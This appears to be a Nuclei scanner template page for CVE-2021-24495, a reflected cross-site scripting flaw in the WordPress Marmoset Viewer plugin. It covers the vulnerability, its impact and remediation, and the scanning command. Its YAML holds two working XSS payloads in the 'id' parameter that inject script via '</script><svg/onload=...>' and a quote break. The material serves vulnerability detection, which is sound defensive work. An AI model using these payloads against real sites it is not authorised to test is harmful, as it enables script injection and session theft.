Wordpress Marmoset Viewer <1.9.3 - Cross-Site Scripting

ID: CVE-2021-24495

Severity: medium

Author: johnjhacking

Tags: cve2021,cve,xss,wpscan,wp-plugin,wordpress,intrusive,marmoset

Description

WordPress Marmoset Viewer plugin before 1.9.3 contains a cross-site scripting vulnerability. It does not property sanitize, validate, or escape the ‘id’ parameter before outputting back in the page.

YAML Source

id: CVE-2021-24495

info:
  name: Wordpress Marmoset Viewer <1.9.3 - Cross-Site Scripting
  author: johnjhacking
  severity: medium
  description: WordPress Marmoset Viewer plugin before 1.9.3 contains a cross-site scripting vulnerability. It does not property sanitize, validate, or escape the 'id' parameter before outputting back in the page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update the Wordpress Marmoset Viewer plugin to version 1.9.3 or later to mitigate the vulnerability.
  reference:
    - https://johnjhacking.com/blog/cve-2021-24495-improper-neutralization-of-input-during-web-page-generation-on-id-parameter-in-wordpress-marmoset-viewer-plugin-versions-1.9.3-leads-to-reflected-cross-site-scripting/
    - https://wordpress.org/plugins/marmoset-viewer/#developers
    - https://wpscan.com/vulnerability/d11b79a3-f762-49ab-b7c8-3174624d7638
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24495
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24495
    cwe-id: CWE-79
    epss-score: 0.00123
    epss-percentile: 0.46682
    cpe: cpe:2.3:a:marmoset:marmoset_viewer:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: marmoset
    product: marmoset_viewer
    framework: wordpress
  tags: cve2021,cve,xss,wpscan,wp-plugin,wordpress,intrusive,marmoset

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=http://</script><svg/onload=alert(%27{{randstr}}%27)>"
      - "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=1+http://a.com%27);alert(/{{randstr}}/);marmoset.embed(%27a"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - </script><svg/onload=alert('{{randstr}}')>
          - alert(/{{randstr}}/)
        condition: or

      - type: word
        words:
          - Marmoset Viewer

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a004630440220710e4422c9fe283b2deac28220ea2a9a4df305d0ea6777cc744aee64339b4f9f022053bbd82befd95edab512f6006cb3fc07bfdb2ab6ca4d9215c8747bd766194bb1:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24495.yaml"

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